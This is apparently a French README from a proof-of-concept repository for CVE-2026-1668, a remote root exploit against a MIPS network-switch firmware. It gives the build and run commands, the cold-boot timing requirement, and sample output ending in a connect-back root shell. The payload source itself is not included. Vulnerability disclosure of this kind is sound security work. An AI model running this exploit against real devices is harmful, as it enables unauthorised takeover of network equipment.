tangrs/cve-2026-1668-pocPreuve de concept d'exploit pour CVE-2026-1668.
Ceci est un exploit de preuve de concept pour CVE-2026-1668. Il est destiné uniquement à des fins éducatives. Veuillez ne pas tenter d'exploiter des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de le faire.
Cette preuve de concept a été développée contre une image de firmware avec le hash SHA256 suivant : 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544.
Noms des firmwares connus pour correspondre à ce hash (liste non exhaustive) :
Les versions de firmware antérieures sont probablement également vulnérables, mais peuvent nécessiter des modifications mineures de la charge utile de l'exploit.
Une explication du fonctionnement de la charge utile se trouve dans cet article de blog.
Une chaîne d'outils GCC Linux MIPS est requise pour compiler la charge utile. Sur Ubuntu 24.04, on peut l'installer avec sudo apt install gcc-mips-linux-gnu.
$ make
Cet exploit doit être exécuté avant que le serveur HTTP n'ait servi sa première requête (c'est-à-dire lors d'un démarrage à froid).
$ ./run.sh
Le script devrait vous donner un shell root. Sinon, l'exploit a échoué.
[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json
{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc #